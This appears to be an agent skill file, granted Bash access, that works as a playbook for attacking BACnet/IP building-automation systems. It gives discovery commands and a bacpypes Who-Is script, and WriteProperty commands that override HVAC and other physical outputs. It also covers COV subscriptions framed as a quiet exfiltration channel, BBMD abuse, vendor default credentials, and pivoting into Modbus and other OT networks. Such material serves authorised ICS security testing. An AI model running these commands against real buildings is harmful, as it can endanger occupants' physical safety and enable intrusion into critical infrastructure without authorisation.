| name | ics-bacnet |
| description | BACnet/IP attack — UDP/47808 discovery via Who-Is broadcast, ReadProperty / WriteProperty without auth, BBMD abuse for remote reach, vendor-specific I-Am responses, COV (Change Of Value) subscription flood, Building Automation HMI pivot. |
| allowed-tools | Bash Read Write |
| metadata | {"when_to_use":"bacnet bacnet-ip building automation hvac who-is i-am readproperty writeproperty bbmd cov 47808 4660 vendor","subdomain":"ics-ot","tags":"bacnet, building-automation, hvac, ics","mitre_attack":"T0855, T0836"} |
BACnet/IP Attack — Building Automation
BACnet runs HVAC, lighting, access control, elevators in commercial buildings. UDP/47808 by default. No authentication in BACnet/IP.
Discover
nmap -sU -p 47808 --script=bacnet-info 10.0.0.0/24
bacwi
bacrp 1234 8 1 85
python3 -c '
from bacpypes.app import BIPSimpleApplication
from bacpypes.core import run, stop
from bacpypes.iocb import IOCB
from bacpypes.local.device import LocalDeviceObject
from bacpypes.apdu import WhoIsRequest
ld = LocalDeviceObject(objectName="x", objectIdentifier=599, vendorIdentifier=15)
app = BIPSimpleApplication(ld, "10.0.0.99")
req = WhoIsRequest(); req.pduDestination = ("10.0.0.255",47808)
iocb = IOCB(req); app.request_io(iocb)
# Devices respond with I-Am
'
What you get from discovery
Each I-Am response identifies:
- Device Instance number (PK for that device)
- Vendor ID (Honeywell=24, Siemens=7, Schneider=10, Johnson Controls=5, ...)
- Max APDU + Segmentation support
Look up the vendor — vendor-specific objects often expose more (admin override, factory reset, etc.).
Read everything
bacrpm 1234 8 1 76
bacrp 1234 0 1 85
Write attacks
Override an output (the actual physical effect)
bacwp 1234 4 5 85 8 -1 0
bacwp 1234 1 3 85 8 -1 40.0
Subscribe to COV — Change Of Value (passive observation w/ delivery to attacker)
bacscov 1234 0 1 60
Broadcast Storm (BBMD abuse)
BBMD (BACnet Broadcast Management Device) forwards broadcasts across IP subnets. A misconfigured BBMD lets you reach EVERY BACnet device in the org from a single network position:
Vendor-specific overrides
- Johnson Controls Metasys:
device.system-status writable from network → restart device
- Siemens Apogee:
program-state writable → halt/run program objects
- Honeywell Niagara: web UI on port 80/443 often unauth or default creds (
tridium/tridium)
Pivot from BACnet to OT network
A compromised BACnet controller often has secondary network interfaces:
- Trunk to RS-485 sensor net (BACnet MS/TP)
- Modbus to a chiller / VFD
- LonWorks for older lighting controls
- KNX for European installations
Once you control the BACnet gateway, you can tunnel to those sub-protocols.
OPSEC + safety
- Building safety: writes to HVAC setpoints affect physical occupants. Don't change setpoints by >2°C without sign-off; many buildings have safety-system interlocks but not all.
- COV subscriptions are visible in BACnet IDS (Tridium, Wattics, Siemens Cybertect) but not in network IDS — quiet exfil channel for building telemetry.
- Logs: BACnet has no audit by default. Some controllers log via Niagara web UI — check that side.
References
- "BACnet/IP Vulnerabilities" — Stephen Hilt, Trend Micro
- bacpypes docs — github.com/JoelBender/bacpypes
- DEFCON 28 ICS Village "Building Automation Attacks" — Marc Rogers
- ASHRAE 135 (the BACnet spec itself — reference what's writable per object type)